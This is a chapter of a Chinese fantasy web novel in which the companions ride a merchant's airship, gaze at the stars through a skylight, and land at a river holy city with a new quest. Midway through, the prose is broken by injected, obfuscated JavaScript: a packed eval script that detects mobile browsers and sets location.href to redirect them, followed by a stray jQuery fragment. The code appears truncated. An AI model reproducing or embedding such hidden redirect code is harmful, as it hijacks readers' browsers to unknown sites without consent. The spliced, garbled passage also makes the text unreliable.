姬无愁抬眼对上夏烛的眼睛,一阵凉风从窗外吹进来,她睫毛颤了颤,瞳孔闪烁看向夏烛的身后。
去甲板上逛了一圈的风枫和嬴犽回来了,剑拔弩张的弓弦骤然松掉。
“要俺说,这个老头肯定就是魉!”风枫边说边往船舱内爬,“以前哪里见过设定这么丰富的NPC?”
“不过要真是这个老头,他的执念又是什么呢?”
“当海盗?不至于吧…”
“做大生意当有钱人?那为什么非得是游戏世界呢?”
她自己左右脑互搏,逮着抠搜老头一顿分析。
姬无愁趁机回到了自己的位置上,将羊皮卷拿在手里细细地看,只是她神情恍恍惚惚,不知道是不是真的在看。
“如果魉不是这个商人的话,那梦境会不会太过用心了些…感觉它只是在建立一个理想世界,所以哪怕一个小小的角色背后,也有完整的故事线?”夏烛说着自己的想法。
“我比较赞同这个观点。”姬阴秀结束了打坐睁开了眼,“理想世界?如果真是这样,恐怕这个梦境的难度就只会比表面看起来还要高。只是我实在想不明白,为什么你和小枫没有支线任务,这会不会是某种暗示呢?”
“难道是精灵族和神职者的特性?如果是按地域区分的话。”风枫说。
“咚咚咚——”顶舱的滑门外传来商人老头的询问,木质的门在轨道上滑行发出咕噜咕噜的声音。
“客人,我来给你们送晚餐。”老头跪坐在地板上,将身后的大托盘挪到顶舱内,六个餐盘中摆着相同的培根煎蛋,以及绿油油的芦笋,外加六杯普通的冰柠檬水。
他从肩膀上抽下一张粉色花边的桌垫,铺在地板上,再将刀叉一一分好,最后把托盘收起夹在腋下。
风枫膝行到餐垫旁边,刚拿起一把叉子就发现老头仍旧跪坐在门口没有要离开的意思。
“你还有什么事吗?钱俺们刚刚已经付过了。”
老头胡子一抖眯着眼睛笑起来。
“鄙人只是一位游历四方的行脚商人,不过是继承母亲的遗志,周游世界。应该不是你们要找的人。不过在我们海上有这样一个传说,如果心中有所疑问,不妨问问天上的星星。”
他伸出一根手指,指向头顶的天花板。
“星星?”
“没错,汪洋大海无边无际,就算是再有经验的水手也难免迷失方向,别人说的话不能轻信,有时候连自己也会欺骗自己,只有宇宙星辰能告诉我们正确的方向。”他说着慢腾腾地挪到了墙角,那里有一根从天花板上垂下来的绳索。
老头笑眯眯地拉动吊绳,头顶的天花板居然缓缓出现了一扇天窗。
只是现在太阳刚刚落山,云天还是蓝蔚蔚的亮着,不见一颗星子。
“各位不妨带着心中的疑问看看夜空,如果出现一颗闪亮无比的星星,那就是它在回应你。”
“你们所在的这间顶舱从前也待过一位迷茫的少年人,不过我猜,他现在已经得到了星星的指引在成为勇者的道路上一去不返了。”
“好了,祝各位拥有美好的一晚,我也该去享用自己的晚餐了,回见。”老头说完就带着托盘下了楼,留下风枫和夏烛呆呆地望着天窗。
“这个老头真奇怪?”夏烛忍不住开口。
“哪里奇怪了?”
“他说的话模棱两可,星星的回应是对问题的肯定还是否定呢?如果我们的问题是去哪里才能找到魉,可是星星闪烁之后,还是没有答案。”
“哎呀呀,事已至此还是先吃饭吧!”风枫揉揉夏烛的脑袋,叫她不要听信老头的话,说不定就是存心逗他们开心。
可是几个人沉默着吃完晚饭后,还是躺在了天窗下,想看看夜晚的星空到底会不会出现那一颗独一无二的。
只有赢惑不屑参与这场幼稚的问答游戏,他从不诘问天上的一切,不论是星辰还是神明。
当飞船上升至云层顶上,晴朗的夜空出现在四四方方的天窗中,为了更好的观察星星,顶舱内没有拉亮电灯。月光被切割成一块有棱有角的薄纱将地上几人框在其中。
夏烛觉得头顶的星空和往常没有什么区别,细细碎碎地洒满了天幕。她实在没有想要问的东西,也不相信星星真的会给她答案。
夜风吹动她额前的头发,偶尔会有流云从上方拂过,偶尔会听到身边的风枫在黑暗中不安分地扭动,夏烛的眨眼频率开始变得缓慢,一直盯着某个地方,视觉会产生疲劳,她有一种星空在眼前不断放大的错觉,带着浩瀚无垠的气势似乎要将她吞噬。
不知道过了多久,她想问一问风枫有没有看见那颗特殊的星星,转过头去却发现她早就睡着,面容恬静呼吸绵长。
夏烛忍不住勾起嘴角,有时候面对风枫她不得不产生羡慕的感情,很多人总觉得风家的天才少女是个心思单纯没头脑的人,可她反而认为风枫什么都懂,什么都明白,就是将一切都看得太通透,所以才能活得这么开心。
可她将视线放到一边,却看到剩下的三人依然在怔怔地盯着夜空,他们神情认真,瞳光闪烁,仿佛真有一颗无比闪亮,独一无二的星星在天窗中回应。
夏烛将头摆正,星夜寂寥,玉宇澄清,她好像有些明白那个老头的意思了。面对着只会闪烁而不会多言的星星,问出心中疑问的同时,其实就已经有了答案。
就像她从前会抛硬币做抉择,但如果落地的那一秒内心反而产生了某种失落感,那就说明其实她更想选择的是另外一面,答案早就产生了,只是自己意识不到。
当他们带着问题仰望夜空的时候,一定会看见所期待的那一颗星。
所以是什么样的问题呢?
她的视线渐渐模糊,夜空铺就成一张轻柔的天鹅绒毯,缓缓覆盖在双眼上。
*
夏烛是被日头给晒醒的,昨天晚上开着天窗睡着了,高空上的太阳更是灼热,晃到她睁不开眼,胸口闷闷的迷迷糊糊中还以为已经落魄到上街卖艺胸口碎大石了,结果是风枫睡得四仰八叉趴在她身上。
她抬起手臂挡在脸上方,等到眼睛适应了光线,才偏过头去。嬴惑还坐在窗边,眼光刺眼看不清他的脸,夏烛盯着他头顶翘起的发丝发呆,意识逐渐涣散,眼皮又变得沉重起来。
“看够了吗?”
他突然出声,夏烛的瞳孔不自觉地放大。
“还没。”她居然把话接了过去。
“没关系,可以慢慢看。”他往前倾身,一张脸在夏烛面前不断放大清晰,视觉冲击力太强烈,吓得她一个鲤鱼打挺,再次用铁头功将嬴惑撞开。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168518|172863||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“早上起来得活动活动。”夏烛愣愣地展开双臂做扩胸运动,见嬴惑捂着额头靠坐在窗边,幽怨地盯着她。
“怎么了…吃早饭了吗?”风枫睡眼惺忪地从不远处直起上半身,夏烛的鲤鱼打挺一箭双雕,还把她也给掀翻在地。
突然一阵强烈的失重感,剩下三人瞬间惊醒,顶舱摇摇晃晃连坐都坐不稳。
“怎么了怎么了!坠机了?”风枫睡意全无,双手抱头防御姿势拉满。
老头的喊声从楼下传来。
“各位,再过二十分钟就落地中土了,赶紧准备准备吧!”
借用了老头的洗漱间,众人排队去收拾收拾,由于奸商属性,他们一致决定不管饿不饿都不在船上消费了。
夏烛来到甲板上,风把她身上的长袍吹得猎猎作响,头发全都糊在脸上,得一直扒拉才能看清前路,不过四周一片白茫茫,除了云雾什么也看不见,云气撞了满头,冰冰凉凉的水汽和钻进肺部的冷冽空气让人无法呼吸。
她放弃到船舷上看风景的想法,转身回到檐下跟姬无愁站在一起。
“平稳之后可以再去看看。”姬无愁好心地告诉她,脸虽然很冷但声音温柔。
果不其然,船身在一个剧烈摇晃后穿过了云层,稀薄的雾气逐渐往两边散开,一张没有五官的脸出现在船头。
“哇哇哇哇!!”风枫从洗漱间冲了出来,“那是什么!”
视野完全暴露,那张面容不清但气质神圣的脸属于一座顶天立地的雕像。雕像似乎是一个女人,穿着白金色的长袍,微微低头祝祷,双手合十,大河之水从她指尖奔腾而下,如万壑雷鸣,荡魂摄魄,越是靠近,胸腔中的震荡越是轰然。
风枫激动地趴在船头,对着夏烛和姬无愁疯狂招手,嘴里大喊着什么,却因为河流狂啸而分辨不出。
两人不得不走近,才能听清她说的话。
“俺是说!这个雕像怎么长得这么像阿烛啊!”
飞船正在下降,雕像的脸缓缓地在众人面前上升,夏烛茫然地抬起头,连五官都没有,是从哪里看出来像的。
“好像是有点。”姬无愁默默点了点头。
离地面越来越远近,人群鼎沸,笑语喧呼变得大声起来,飞船最终停在雕像面前的一座巨大广场上,另外三人也陆续出了船舱。
此处鼓乐齐鸣,攘来熙往,一片繁华景象,各种各样的集市摊位星罗棋布,其中尽是各族人士,无论精灵还是半兽人,甚至有佩刀的红衣士兵在周围巡查,维护治安。
天外之水在此汇集成一条宽阔的大河,直直延伸到西方尽头,绕过远处一座琉璃穹顶的教堂,阳光照耀其上,散发出七彩的星芒,和波光粼粼的河面交相辉映。教堂前的鲜花大道一路铺到脚下,空中飘扬着一些彩色的光片,广场中央的喷泉是由各色闪耀的宝石砌成。总之这里的一切,都晃得夏烛睁不开眼。
船身的飞翼收回舱匣内。老头从驾驶室钻了出来,俯在栏杆上对着众人挥手。
“各位,这里就是中土大河圣地了,千里相送终须一别呐,赶紧下船吧,别耽误我做生意了!祝你们好运!”
夏烛低头看向自己手里的羊皮卷,阳光炙烤中散发出一股陈旧的霉味。主线任务又有了变动。
“前往落日大教堂,为木杖附魔。”